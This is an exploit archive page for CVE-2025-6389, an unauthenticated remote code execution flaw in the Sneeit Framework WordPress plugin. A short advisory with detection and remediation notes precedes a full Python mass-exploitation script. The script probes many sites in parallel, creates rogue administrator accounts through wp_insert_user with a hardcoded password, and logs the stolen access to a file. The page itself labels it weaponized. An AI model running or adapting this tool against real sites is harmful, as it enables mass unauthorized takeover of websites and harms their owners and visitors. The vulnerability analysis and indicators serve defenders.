PoC Archive PoC Archive
Critical CVE-2025-6389 unpatched

Sneeit Framework <= 8.3 Unauthenticated RCE via `call_user_func()` — Rogue Admin Creation (CVE-2025-6389)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-6389
Category
web
Affected product
Sneeit Framework (WordPress theme framework plugin, sneeit-framework)
Affected versions
All versions up to and including 8.3
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-6389
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, sneeit-framework, rce, call_user_func, unauthenticated, wp_insert_user, privilege-escalation, admin-takeover, cwe-94, wp-ajax-nopriv
RelatedN/A

Affected Target

FieldValue
Software / SystemSneeit Framework (WordPress theme framework plugin, sneeit-framework)
Versions AffectedAll versions up to and including 8.3
Language / PlatformPHP / WordPress plugin (AJAX handler)
Authentication RequiredNo
Network Access RequiredYes

Summary

The Sneeit Framework plugin for WordPress registers an unauthenticated AJAX action, sneeit_articles_pagination, whose callback function sneeit_articles_pagination_callback() takes a function name and a JSON-encoded argument list straight from $_POST['callback'] and $_POST['args'] and passes them directly into PHP’s call_user_func() with no validation or allow-list. Because the action is hooked via wp_ajax_nopriv_sneeit_articles_pagination, it is reachable by any unauthenticated visitor. An attacker can invoke arbitrary PHP/WordPress functions with arbitrary arguments — including wp_insert_user — to silently create a new WordPress account with the administrator role, or invoke other functions for broader remote code execution.


Vulnerability Details

Root Cause

sneeit_articles_pagination_callback() calls call_user_func() using a function name and argument array taken verbatim from unauthenticated POST input, with the hook registered for both logged-in and anonymous users:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // user-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // user-controlled args

    $result = call_user_func($callback, ...$args); // arbitrary function invocation

    echo $result;
    die();
}

wp_ajax_nopriv_* hooks are reachable by anyone without a session or nonce, and call_user_func() with attacker-controlled name/arguments allows calling any accessible PHP or WordPress function (wp_insert_user, var_dump, eval-adjacent functions, etc.), with the raw return value echoed back to the attacker.

Attack Vector

  1. Probe: POST /wp-admin/admin-ajax.php with action=sneeit_articles_pagination&callback=var_dump&args=["test"]. A response containing array(1) { [0]=> string(4) "test" } confirms the endpoint is reachable and reflects call_user_func() output.
  2. Exploit: POST /wp-admin/admin-ajax.php with action=sneeit_articles_pagination&callback=wp_insert_user&args={"user_login":"<user>","user_pass":"<pass>","user_email":"<email>","role":"administrator"}.
  3. call_user_func() invokes wp_insert_user() with the attacker-supplied array, silently creating a new WordPress account with the administrator role.
  4. The attacker logs into /wp-admin/ with the newly created administrator credentials, achieving full site takeover.

Impact

Unauthenticated creation of a fully privileged WordPress administrator account, leading to complete site takeover; the same primitive (arbitrary call_user_func() invocation) can be abused against other PHP/WordPress functions for broader remote code execution beyond user creation.


Environment / Lab Setup

Target:   WordPress site with Sneeit Framework plugin <= 8.3 active
Attacker: Python 3.8+ (3.9+ recommended) with `requests` and `rich` installed (pip install requests rich)

Proof of Concept

PoC Script

See CVE-2025-6389.py in this folder.

1
2
3
pip install requests rich

python CVE-2025-6389.py

The script is a multi-threaded batch exploiter with a live Rich-based terminal dashboard. For each target it first sends the var_dump probe payload to confirm call_user_func() is reachable and reflecting output; on confirmation it sends the wp_insert_user payload to create an administrator account named Nxploited_<4-digit-random> with a hardcoded password (xplpass) and a generated @gmail.com address. Successful targets and the created credentials are appended to success_results.txt; raw responses for failed/unconfirmed targets are saved under debug_responses/ for manual review.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

Signs of compromise:

  • Unauthenticated POST requests to /wp-admin/admin-ajax.php with action=sneeit_articles_pagination and a callback parameter naming an arbitrary PHP function
  • Newly created WordPress administrator accounts with unexplained usernames (e.g. matching the pattern Nxploited_####) or unexplained @gmail.com admin email addresses
  • Server logs showing wp_insert_user, var_dump, or other sensitive function names passed as the callback value

Remediation

ActionDetail
Primary fixUpdate Sneeit Framework to a patched version above 8.3, or remove/deactivate the plugin until a fix is confirmed
Interim mitigationBlock unauthenticated POST requests to admin-ajax.php carrying action=sneeit_articles_pagination at the WAF/firewall level; audit recently created administrator accounts and rotate credentials; never pass raw user input into call_user_func()

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-6389 on 2026-07-06. The repository carries heavy “Nxploited”/Telegram (@KNxploited) self-promotional branding (ASCII banners, badges, follow prompts) typical of this author’s releases, but the underlying exploit logic (probe via var_dump reflection, then wp_insert_user account creation through the unauthenticated call_user_func() sink) is real, specific, and functional against vulnerable Sneeit Framework installs — not a stub or scam script.

CVE-2025-6389.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
#!/usr/bin/env python3
"""
Nxploited - Improved UI edition (fixed: banner display)
This version ensures the banner is visible when the script starts by printing
the banner once before the Live dashboard starts, and also keeping the banner
inside the Live dashboard.
"""
import threading
import requests
import time
import os
import re
import urllib3
import random
from datetime import datetime
from queue import Queue, Empty

from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.live import Live
from rich.table import Table
from rich.columns import Columns
from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn
from rich.theme import Theme
from rich import box

# ------------------------
# Configuration & Globals
# ------------------------
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
os.environ['NO_PROXY'] = '*'

# Styling theme (used by Console)
init_theme = Theme({
    "banner": "bold green",
    "info_label": "bold bright_cyan",
    "info_value": "bright_white",
    "usage": "bold bright_yellow",
    "success": "bold white on dark_green",
    "fail": "bold white on red",
    "status": "bold bright_blue",
    "progress": "bold magenta"
})
console = Console(theme=init_theme)

PASSWORD = "xplpass"
SUCCESS_FILE = "success_results.txt"
DEBUG_DIR = "debug_responses"
os.makedirs(DEBUG_DIR, exist_ok=True)

# dashboard state (thread-safe via lock)
state = {
    "total": 0,
    "processed": 0,
    "success": 0,
    "failed": 0,
    "current": None,
    "start_time": None,
    "last_results": []  # list of (time_str, url, status)
}
state_lock = threading.Lock()

# Worker queue
target_queue = Queue()

# Defaults
DEFAULT_THREADS = 10
USERNAME_PREFIX = "Nxploited"

# ------------------------
# Utilities
# ------------------------
def sanitize_target_for_filename(target_url: str) -> str:
    return re.sub(r'[^0-9a-zA-Z._-]', '_', target_url)

def save_debug_response(target_url: str, resp_text: str) -> str:
    fname = sanitize_target_for_filename(target_url) + ".resp.txt"
    path = os.path.join(DEBUG_DIR, fname)
    try:
        with open(path, "w", encoding="utf-8", errors="ignore") as f:
            f.write(resp_text)
    except Exception:
        pass
    return path

def write_result(filename: str, target: str, username: str, password: str, email: str):
    try:
        with open(filename, "a", encoding="utf-8") as f:
            f.write(f"{target} | USER: {username} | PASS: {password} | EMAIL: {email}\n")
    except Exception:
        pass

def make_username_email() -> tuple[str, str]:
    rand_num = random.randint(1000, 9999)
    username = f"{USERNAME_PREFIX}_{rand_num}"
    email = f"{username}@gmail.com"
    return username, email

def is_vulnerable(resp_text: str) -> bool:
    if not resp_text:
        return False
    return ("array(1)" in resp_text) and ("[0]" in resp_text) and ('"test"' in resp_text)

# ------------------------
# Network: test + exploit
# ------------------------
def exploit_target_network(target_url: str, timeout: int = 16) -> tuple[bool, str, str, str]:
    """
    Returns: (success: bool, username, password, email)
    If not successful, username/password/email are None.
    """
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
    ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"

    # Test payload
    test_payload = [
        ("action", "sneeit_articles_pagination"),
        ("callback", "var_dump"),
        ("args", '["test"]'),
    ]
    try:
        test_resp = requests.post(ajax_url, headers=headers, data=test_payload, timeout=timeout, verify=False, allow_redirects=True)
    except Exception as e:
        save_debug_response(target_url, f"Test exception: {e}")
        return False, None, None, None

    if not is_vulnerable(test_resp.text):
        # save a snippet for debugging
        save_debug_response(target_url, f"Test response:\n{(test_resp.text or '')[:600]}")
        return False, None, None, None

    # If test succeeded, attempt to create admin user (don't rely on the response)
    username, email = make_username_email()
    exploit_payload = [
        ("action", "sneeit_articles_pagination"),
        ("callback", "wp_insert_user"),
        ("args", f'{{"user_login":"{username}","user_pass":"{PASSWORD}","user_email":"{email}","role":"administrator"}}'),
    ]
    try:
        requests.post(ajax_url, headers=headers, data=exploit_payload, timeout=timeout, verify=False, allow_redirects=True)
        # We don't assert on response; presence of test made us try exploit
        return True, username, PASSWORD, email
    except Exception as e:
        save_debug_response(target_url, f"Exploit exception: {e}")
        return False, None, None, None

# ------------------------
# Rich UI components
# ------------------------
def build_banner() -> Panel:
    """
    Build a centered, multi-line banner with green tints.
    """
    ascii_lines = [
        "    _______      ________    ___   ___ ___  _____         __ ____   ___   ___  ",
        "  / ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\| ____|       / /|___ \\ / _ \\ / _ \\ ",
        " | |     \\ \\  / /| |__ ______ ) | | | | ) | |__ ______ / /_  __) | (_) | (_) |",
        " | |      \\ \\/ / |  __|______/ /| | | |/ /|___ \\______| '_ \\|__ < > _ < \\__, |",
        " | |____   \\  /  | |____    / /_| |_| / /_ ___) |     | (_) |__) | (_) |  / / ",
        "  \\_____|   \\/   |______|  |____|\\___/____|____/       \\___/____/ \\___/  /_/  ",
    ]
    txt = Text()
    colors = ["green", "bright_green", "green", "bright_green", "green", "bright_green"]
    for i, line in enumerate(ascii_lines):
        txt.append(line.rstrip() + "\n", style=f"bold {colors[i % len(colors)]}")
    txt.append("\n",)
    txt.append("    Elegant Exploitation Dashboard  —  By: Nxploited (Khaled Alenazi)\n", style="bold bright_cyan")
    txt.append("    Telegram: https://t.me/KNxploited    GitHub: https://github.com/Nxploited\n", style="bright_white")
    # Expand to full width so the panel looks nice
    return Panel(txt, box=box.ASCII, padding=(1, 2), border_style="green", expand=True)

def build_info_panel() -> Panel:
    table = Table.grid(padding=(0,1))
    table.add_column(justify="right", ratio=1, style="info_label")
    table.add_column(justify="left", ratio=2, style="info_value")

    table.add_row("Usage:", "Put targets in list.txt, one per line. Run the script.")
    table.add_row("Threads:", "Choose number of worker threads.")
    table.add_row("Password:", f"{PASSWORD}")
    table.add_row("Success Log:", f"{SUCCESS_FILE}")
    table.add_row("Debug Dir:", f"{DEBUG_DIR}")
    return Panel(table, title="Info", border_style="bright_cyan", padding=(1,1), box=box.ROUNDED, expand=True)

def build_stats_panel() -> Panel:
    with state_lock:
        total = state["total"]
        processed = state["processed"]
        success = state["success"]
        failed = state["failed"]
        current = state["current"]
        start_time = state["start_time"]

    tbl = Table.grid(expand=True)
    tbl.add_column(ratio=1)
    tbl.add_column(ratio=1)
    tbl.add_row(Text("Total Targets:", style="info_label"), Text(str(total), style="info_value"))
    tbl.add_row(Text("Processed:", style="info_label"), Text(str(processed), style="info_value"))
    tbl.add_row(Text("Successes:", style="info_label"), Text(str(success), style="info_value"))
    tbl.add_row(Text("Failures:", style="info_label"), Text(str(failed), style="info_value"))
    elapsed = "-"
    if start_time:
        elapsed = str(datetime.now() - start_time).split(".")[0]
    tbl.add_row(Text("Elapsed:", style="info_label"), Text(elapsed, style="info_value"))
    current_line = current or "-"
    tbl.add_row(Text("Current:", style="info_label"), Text(current_line, style="info_value"))
    return Panel(tbl, title="Stats", border_style="bright_green", padding=(1,1), box=box.ROUNDED, expand=True)

def build_recent_panel() -> Panel:
    table = Table(box=box.SIMPLE, show_header=True, header_style="bold bright_magenta")
    table.add_column("Time", width=8)
    table.add_column("Target", overflow="fold")
    table.add_column("Result", width=10)

    with state_lock:
        last = list(state["last_results"])[-8:]

    for tstr, url, res in last:
        style = "bold green" if res == "SUCCESS" else "bold red"
        table.add_row(tstr, url, Text(res, style=style))

    return Panel(table, title="Recent Results", border_style="bright_magenta", padding=(0,1), box=box.ROUNDED, expand=True)

def build_dashboard() -> Panel:
    banner = build_banner()
    info = build_info_panel()
    stats = build_stats_panel()
    recent = build_recent_panel()

    col = Columns([info, stats], padding=2, expand=True)
    layout_table = Table.grid(expand=True)
    layout_table.add_row(banner)
    layout_table.add_row(col)
    layout_table.add_row(recent)
    return Panel(layout_table, box=box.SQUARE, padding=(0,0), border_style="bright_blue", expand=True)

# ------------------------
# Worker & orchestrator
# ------------------------
def worker_thread(thread_id: int):
    while True:
        try:
            target = target_queue.get_nowait()
        except Empty:
            return
        with state_lock:
            state["current"] = target
        try:
            success, username, password, email = exploit_target_network(target)
            now = datetime.now().strftime("%H:%M:%S")
            with state_lock:
                state["processed"] += 1
                if success:
                    state["success"] += 1
                    state["last_results"].append((now, target, "SUCCESS"))
                else:
                    state["failed"] += 1
                    state["last_results"].append((now, target, "FAIL"))
                if len(state["last_results"]) > 200:
                    state["last_results"] = state["last_results"][-200:]
            if success:
                console.print(f"[bold green]Exploited:[/] {target}")
                success_panel = Panel(
                    Text.assemble(
                        ("Username: ", "bold bright_cyan"),
                        (f"{username}\n", "bright_white"),
                        ("Password: ", "bold bright_cyan"),
                        (f"{password}\n", "bright_white"),
                        ("Email: ", "bold bright_cyan"),
                        (f"{email}\n", "bright_white"),
                    ),
                    title="Credentials",
                    border_style="green",
                    padding=(1,2),
                    box=box.ROUNDED
                )
                console.print(success_panel)
                write_result(SUCCESS_FILE, target, username, password, email)
            else:
                console.print(f"[bold red]Failed:[/] {target}")
        except Exception as e:
            save_debug_response(target, f"Worker general exception: {e}")
            with state_lock:
                state["processed"] += 1
                state["failed"] += 1
                state["last_results"].append((datetime.now().strftime("%H:%M:%S"), target, "ERROR"))
        finally:
            with state_lock:
                state["current"] = None
            target_queue.task_done()

# ------------------------
# Main flow
# ------------------------
def load_targets_from_file(filename: str) -> list[str]:
    targets = []
    try:
        with open(filename, "r", encoding="utf-8", errors="ignore") as f:
            for line in f:
                url = line.strip()
                if not url:
                    continue
                if not url.lower().startswith(("http://", "https://")):
                    url = "http://" + url
                targets.append(url)
    except FileNotFoundError:
        console.print(f"[bold red]Targets file not found:[/] {filename}")
    return targets

def parse_user_inputs() -> tuple[str, int]:
    console.print(Panel(Text("Please provide inputs", style="bold bright_cyan"), box=box.ROUNDED))
    list_file = console.input("[bold bright_magenta]Targets file name (default list.txt): [/]").strip() or "list.txt"
    threads_str = console.input("[bold bright_magenta]Number of threads (default 10): [/]").strip()
    try:
        threads = int(threads_str) if threads_str else DEFAULT_THREADS
    except Exception:
        threads = DEFAULT_THREADS
    threads = max(1, min(200, threads))
    return list_file, threads

def show_initial_banner_once():
    """
    Print the banner once before Live starts so it's visible immediately.
    """
    console.clear()
    console.print(build_banner())
    # leave banner visible briefly before switching to live dashboard
    time.sleep(1.0)

def main():
    # Inputs
    list_file, num_threads = parse_user_inputs()
    targets = load_targets_from_file(list_file)
    if not targets:
        console.print("[bold red]No targets to process. Exiting.[/bold red]")
        return

    # initialize state
    with state_lock:
        state["total"] = len(targets)
        state["processed"] = 0
        state["success"] = 0
        state["failed"] = 0
        state["current"] = None
        state["start_time"] = datetime.now()
        state["last_results"] = []

    # fill queue
    for t in targets:
        target_queue.put(t)

    # show banner once so user sees it immediately
    show_initial_banner_once()

    # Live dashboard + progress spinner
    progress = Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("{task.completed}/{task.total}"), TimeElapsedColumn(), console=console, transient=False)
    progress_task = progress.add_task("Overall", total=len(targets))
    dashboard_refresh = 0.4

    # start workers
    threads = []
    for i in range(num_threads):
        th = threading.Thread(target=worker_thread, args=(i,), daemon=True)
        th.start()
        threads.append(th)

    # Live display loop
    with Live(build_dashboard(), console=console, refresh_per_second=4) as live:
        while True:
            with state_lock:
                processed = state["processed"]
            progress.update(progress_task, completed=processed)
            live.update(build_dashboard())
            if processed >= state["total"]:
                break
            time.sleep(dashboard_refresh)

    # Ensure all worker threads finish
    target_queue.join()
    for th in threads:
        th.join(timeout=0.1)

    # final summary
    with state_lock:
        total = state["total"]
        processed = state["processed"]
        success = state["success"]
        failed = state["failed"]
    summary = Table.grid()
    summary.add_column()
    summary.add_row(Text(f"Finished. Total: {total}  Processed: {processed}  Success: {success}  Failed: {failed}", style="bold bright_green"))
    console.print(Panel(summary, title="Run Summary", border_style="bright_green", box=box.DOUBLE))

if __name__ == "__main__":
    main()